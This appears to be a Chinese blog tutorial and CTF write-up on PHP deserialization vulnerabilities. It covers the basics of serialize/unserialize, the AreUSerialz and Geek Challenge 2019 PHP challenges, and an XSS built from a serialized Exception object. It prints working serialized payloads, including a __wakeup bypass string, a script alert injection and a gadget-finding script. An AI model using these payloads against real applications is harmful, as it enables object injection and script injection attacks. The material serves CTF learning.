序列化漏洞

0 阅读3分钟

序列化漏洞

PHP序列化与反序列化理论

序列号理论

所谓序列化,就是将一个变量的数据转换为字符串(但是与类型转换不同)。其目的是将该字符串存储起来(存为文本文件),当在其他环境上运行时,可以通过反序列化,将其恢复。(一般用在数据需要存储的地方)
简单讲:就是打包(序列化)与拆包(反序列化)

序列号代码

serialize()     // 将一个对象转换成一个字符串
unserialize()   // 将字符串还原成一个对象

实战案例与解题思路

案例1:无类序列化

<?php
 error_reporting(0);
include "flag.php";
$KEY = "derry";
$str = $_GET['x'];
if(unserialize($str)===$KEY)
{
 echo "$flag" ."</br>";
}
show_source(__FILE__);
?>
<?php
$flag ='this flag';
?>
1.php文件里 ==== 是全等判断符
那么当 unserialize($str) 全等于 $KEY ,if代码执行得到 $flag
要想 unserialize($str) 全等于 $KEY
那么 $str 就要等于 serialize($KEY)
又因为 $KEY = "derry"
那么`$str`=s:5:"derry";

最后访问127.0.0.1/1.php?x=s:5:"derry"; 图片.png

案例2:CTF真题

<?php
error_reporting(0);
include_once("flag.php");
$cookie = $_COOKIE['ISecer'];
if(isset($_GET['hint'])){
    show_source(__FILE__);
}
elseif (unserialize($cookie) === "$KEY")
{   
    echo "$flag";
}
else 
{
?>
<html>

<head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <title>Login</title>
    <link rel="stylesheet" href="admin.css" type="text/css">
</head>

<body><br>
    <div class="container" align="center">
        <form method="POST" action="#">
            <p><input name="user" type="text" placeholder="Username"></p>
            <p><input name="password" type="password" placeholder="Password"></p>
            <p><input value="Login" type="button" /></p>
        </form>
    </div>
</body>

</html> 
<?php
}
$KEY = 'ISecer:www.isecer.com'; 
?>
找到传输入口,发现拿到$flag,需要满足 unserialize($cookie) === "$KEY"
然后发现 $cookie = $_COOKIE['ISecer'];
        $KEY = 'ISecer:www.isecer.com';
但 $KEY = 'ISecer:www.isecer.com'; 在最下面,所以该代码无效,所以 $KEY=""
因为 $cookie = $_COOKIE['ISecer']; 会使 unserialize($cookie) 里$cookie的值恒等于 'ISecer' ,所以不能使用浏览器
因此基于以上信息,得使用BP修改 $cookie 的值,让其等于 s:0:"";

结果:

图片.png

案例3:类序列化

<?php 
class Person{ 
    public $name = 'derry'; 
    public $age = 18; 
	
} 
$p = new Person(); 
$obj = serialize($p); 
print_r($obj); 
?>

访问http://127.0.0.1/2.php ,得到 O:6:"Person":2:{s:4:"name";s:5:"derry";s:3:"age";i:18;}

图片.png

反序列化代码

<?php
$clz = 'O:6:"Person":2:{s:4:"name";s:5:"derry";s:3:"age";i:18;}';
print_r(unserialize($clz));
?>

访问结果:对象不完整

图片.png 修改3.php代码:

<?php 
class Person{ 
    public $name = 'derry'; 
	  public $age = 18; 
	
} 
 $clz = 'O:6:"Person":2:{s:4:"name";s:8:"derry666";s:3:"age";i:18;}';
 $per = unserialize($clz);
 print_r($clz);
 echo "</br>";
 echo $per->name;
 echo "</br>";
echo $per->age;
?>
# 修改逻辑:因为之前3.php文里没有定义`Person`类

访问结果:成功

图片.png

真题1:2020-网鼎杯-青龙组-Web-AreUSerialz

<?php
class NewFlag {
   public static function getFlag($fileName) {
	   $res = "flag error";
	   if($fileName ==="NewFlag.php") {
	      $res = "flag:{this is flag}";
	   }
	   return $res;
   }
}
?>
<?php

include("NewFlag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() { 
        $op = "1";
        $filename = "tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = NewFlag::getFlag($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }
}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str); // __wakeup
    }
} // __destruct
?>
由于传输入口在ctr2.php,所以重点分析该文件
发现 isset() 和 construct(),但未发现 __wakeup 和 new
不过当代码执行完后,会执行 __destruct ,所以对其进行分析
发现
function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
因为上面的代码会调用 process() ,所以继续分析 process()
    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }
然后通过查找 write() 和 read() ,发现 read() 里有 NewFlag
所以为了使 process() 调用 read() 就要使 $this->op == "2" 和执行 __destruct
回到传输入口发现 $obj = unserialize($str)
也就是说要想执行 __destruct ,就要让 $str = serialize($obj) 
而 $obj 其实也就是对象FileHandler,因为没有别的了
FileHandler 有三个属性:
    protected $op;
    protected $filename;
    protected $content;
$op 要让其等于" 2"
因为加上空格就可以防止让"2"改成"1"
而 $filename 要等于 "NewFlag.php"
因为在 read() 里这样做就可以调用NewFlag.php
这样又会使NewFlag.php里 $fileName ==="NewFlag.php" 的条件满足,从而最终拿到flag

序列化代码1
<?php
class FileHandler {
 protected $op=" 2";
 protected $filename="NewFlag.php";
 protected $content="cs";
}
$fh = new FileHandler();
echo (serialize($fh));
?>
结果:失败,看图1

将 (serialize($fh)); 加上 urlencode 用于将 URL 中的特殊字符编码为合法格式
序列化代码2 
<?php
class FileHandler {
 protected $op=" 2";
 protected $filename="NewFlag.php";
 protected $content="cs";
}
$fh = new FileHandler();
echo urlencode(serialize($fh));
?>
结果:什么都没有,看图2

将 protected 改成 public 因为它是最宽松的访问权限
序列化代码3
<?php
class FileHandler { 
 public $op=" 2";
 public $filename="NewFlag.php";
 public $content="cs";
}
$fh = new FileHandler();
echo serialize($fh);
?>
最后将phpStudy 2018的版本换成php-7.2.10-nts + Apache
因为
结果:成功,看图3

图1 图片.png

图2 图片.png

图3 图片.png

真题2-[极客大挑战2019]PHP


访问buuoj.cn/challenges#…
找到[极客大挑战2019]PHP题目并开启靶机

目标网站图

图片.png

使用7kbscan选择备份字典扫描目录
得到http://58312815-5137-4e97-bf1f-e9466be6fb3a.node5.buuoj.cn:81/www.zip
查看下载的www文件夹,分析里面的index.php
先找传输入口
    <?php
    include 'class.php';
    $select = $_GET['select'];
    $res=unserialize(@$select);
    ?>
发现 include 引用了文件class.php
分析class.php代码,优先查找 __wakeup
  function __wakeup(){
        $this->username = 'guest';
    }
没什么线索,再查找 __destruct
    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
}
发现flag,分析得出要满足 password = 100 和 username === 'admin' 就可以成功
但如果存在 __wakeup 方法,调用 unserilize() 方法前则先调用 __wakeup 方法
又因为序列化字符串中表示对象属性个数大于真实的属性个数时,会跳过 __wakeup 的执行
所以只需要把属性2改成3即可

先用序列化代码
<?php
class Name{
 private $username = "admin";
 private $password = 100;
}
$n = new Name();
echo serialize($n);
?>
得到 O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
但是序列化执⾏有问题,要在每个属性前面的Name左右加 %00
最终得到 O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

结果图

e85fbcc8fd18e5c40513097d1fd41dd6.png

CTF-XSS

<?php
highlight_file(__file__);
$a = unserialize($_GET['k']);
echo $a;
?>
由于ctf_xss.php没有看到类,所以用clz.php文件来找php原生类
http://127.0.0.1/clz.php 访问后并右键查看源代码:
找到 Exception::__toString 因为它用于PHP5、7、8,是所有用户级异常的基类
所以用 Exception 来编写的代码便可以成功让ctf_xss.php执行 alert(1) 弹出提示框等
<?php
$e = new Exception("<script>alert(1)</script>");
echo urlencode(serialize($e));
?>
<?php
$classes = get_declared_classes();
foreach ($classes as $class) {
    $methods = get_class_methods($class);
    foreach ($methods as $method) {
        if (in_array($method, array(
            '__destruct',
            '__toString',
            '__wakeup',
            '__call',
            '__callStatic',
            '__get',
            '__set',
            '__isset',
            '__unset',
            '__invoke',
            '__set_state'
        ))) {
            print $class . '::' . $method . "\n";
        }
    }
} 

结果图

图片.png

总结

在寻找序列化漏洞的时候,第一步应该先找传输入口,然后魔术方法的调用关系来找flag,最后在编写序列化php或反序列化php来制作序列化字符串。